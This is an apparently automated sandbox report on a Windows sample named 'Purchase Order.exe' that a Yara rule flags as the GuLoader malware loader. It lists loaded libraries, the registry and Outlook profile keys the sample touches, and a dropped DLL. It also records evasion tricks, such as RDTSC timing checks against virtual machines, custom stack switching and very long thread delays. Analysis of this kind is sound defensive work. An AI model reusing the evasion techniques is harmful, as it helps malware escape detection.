Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Purchase Order.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Purchase Order.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Purchase Order.exe

Virustotal: Detection: 12%

Source: C:\Users\user\Desktop\Purchase Order.exe

File read: C:\Users\user\Desktop\Purchase Order.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Purchase Order.exe "C:\Users\user\Desktop\Purchase Order.exe"
Source: C:\Users\user\Desktop\Purchase Order.exe	Process created: C:\Users\user\Desktop\Purchase Order.exe "C:\Users\user\Desktop\Purchase Order.exe"
Source: C:\Users\user\Desktop\Purchase Order.exe	Process created: C:\Users\user\Desktop\Purchase Order.exe "C:\Users\user\Desktop\Purchase Order.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Section loaded: dpapi.dll	Jump to behavior

Source: C:\Users\user\Desktop\Purchase Order.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\Purchase Order.exe

File written: C:\ProgramData\ankomstperrons.ini

Jump to behavior

Source: C:\Users\user\Desktop\Purchase Order.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Purchase Order.exe

Static file information: File size 1055136 > 1048576

Source: Purchase Order.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000000.00000002.2755799259.0000000005F62000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\Purchase Order.exe

Code function: 0_2_10001A5D GlobalAlloc,lstrcpyA,lstrcpyA,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyA,GetModuleHandleA,LoadLibraryA,GetProcAddress,lstrlenA,

0_2_10001A5D

Source: C:\Users\user\Desktop\Purchase Order.exe

Code function: 0_2_10002D20 push eax; ret

0_2_10002D4E

Source: C:\Users\user\Desktop\Purchase Order.exe

File created: C:\Users\user\AppData\Local\Temp\nsj39BE.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\Purchase Order.exe	API/Special instruction interceptor: Address: 659F591
Source: C:\Users\user\Desktop\Purchase Order.exe	API/Special instruction interceptor: Address: 27EF591

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\Purchase Order.exe	RDTSC instruction interceptor: First address: 653E3D2 second address: 653E3D2 instructions: 0x00000000 rdtsc 0x00000002 test ah, ch 0x00000004 cmp ebx, ecx 0x00000006 jc 00007FA27052805Fh 0x00000008 cmp cx, 58E6h 0x0000000d inc ebp 0x0000000e test bh, ah 0x00000010 inc ebx 0x00000011 test bl, bl 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Purchase Order.exe	RDTSC instruction interceptor: First address: 278E3D2 second address: 278E3D2 instructions: 0x00000000 rdtsc 0x00000002 test ah, ch 0x00000004 cmp ebx, ecx 0x00000006 jc 00007FA270755D7Fh 0x00000008 cmp cx, 58E6h 0x0000000d inc ebp 0x0000000e test bh, ah 0x00000010 inc ebx 0x00000011 test bl, bl 0x00000013 rdtsc

Source: C:\Users\user\Desktop\Purchase Order.exe	Memory allocated: 110000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Memory allocated: 36830000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Memory allocated: 38830000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 599657	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 599532	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 599421	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 599313	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 599063	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 598938	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 598813	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 598703	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 598594	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 598469	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 598344	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 598235	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 598125	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 598016	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 597891	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 597766	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 597657	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 597532	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 597407	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 597297	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 597188	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 597063	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 596938	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 596813	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 596688	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 596578	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 596469	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 596344	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 596235	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 596110	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 595985	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 595860	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 595735	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 595610	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 595485	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 595365	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 595235	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 595110	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 594985	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 594860	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 594735	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 594610	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 594485	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 594360	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 594235	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Thread delayed: delay time: 594110	Jump to behavior

Source: C:\Users\user\Desktop\Purchase Order.exe	Window / User API: threadDelayed 2128			Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe	Window / User API: threadDelayed 7691			Jump to behavior

Source: C:\Users\user\Desktop\Purchase Order.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsj39BE.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\Purchase Order.exe

API coverage: 1.5 %

Source: C:\Users\user\Desktop\Purchase Order.exe TID: 1076	Thread sleep count: 41 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 1076	Thread sleep time: -37815825351104557s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 1076	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 4592	Thread sleep count: 2128 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 1076	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 4592	Thread sleep count: 7691 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 1076	Thread sleep time: -599766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 1076	Thread sleep time: -599657s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 1076	Thread sleep time: -599532s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 1076	Thread sleep time: -599421s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 1076	Thread sleep time: -599313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 1076	Thread sleep time: -599188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 1076	Thread sleep time: -599063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 1076	Thread sleep time: -598938s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 1076	Thread sleep time: -598813s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 1076	Thread sleep time: -598703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 1076	Thread sleep time: -598594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 1076	Thread sleep time: -598469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 1076	Thread sleep time: -598344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 1076	Thread sleep time: -598235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 1076	Thread sleep time: -598125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 1076	Thread sleep time: -598016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 1076	Thread sleep time: -597891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 1076	Thread sleep time: -597766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 1076	Thread sleep time: -597657s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 1076	Thread sleep time: -597532s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 1076	Thread sleep time: -597407s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 1076	Thread sleep time: -597297s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 1076	Thread sleep time: -597188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 1076	Thread sleep time: -597063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 1076	Thread sleep time: -596938s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 1076	Thread sleep time: -596813s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 1076	Thread sleep time: -596688s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 1076	Thread sleep time: -596578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 1076	Thread sleep time: -596469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 1076	Thread sleep time: -596344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 1076	Thread sleep time: -596235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 1076	Thread sleep time: -596110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 1076	Thread sleep time: -595985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 1076	Thread sleep time: -595860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 1076	Thread sleep time: -595735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 1076	Thread sleep time: -595610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 1076	Thread sleep time: -595485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 1076	Thread sleep time: -595365s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 1076	Thread sleep time: -595235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 1076	Thread sleep time: -595110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 1076	Thread sleep time: -594985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 1076	Thread sleep time: -594860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 1076	Thread sleep time: -594735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 1076	Thread sleep time: -594610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 1076	Thread sleep time: -594485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 1076	Thread sleep time: -594360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 1076	Thread sleep time: -594235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order.exe TID: 1076	Thread sleep time: -594110s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 0_2_0040270B FindFirstFileA,	0_2_0040270B
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 0_2_004061FB FindFirstFileA,FindClose,	0_2_004061FB
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 0_2_00405799 CloseHandle,GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	0_2_00405799
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_0040270B FindFirstFileA,	4_2_0040270B
Source: C:\Users\user\Desktop\Purchase Order.exe	Code function: 4_2_004061FB FindFirstFileA,FindClose,	4_2_004061FB
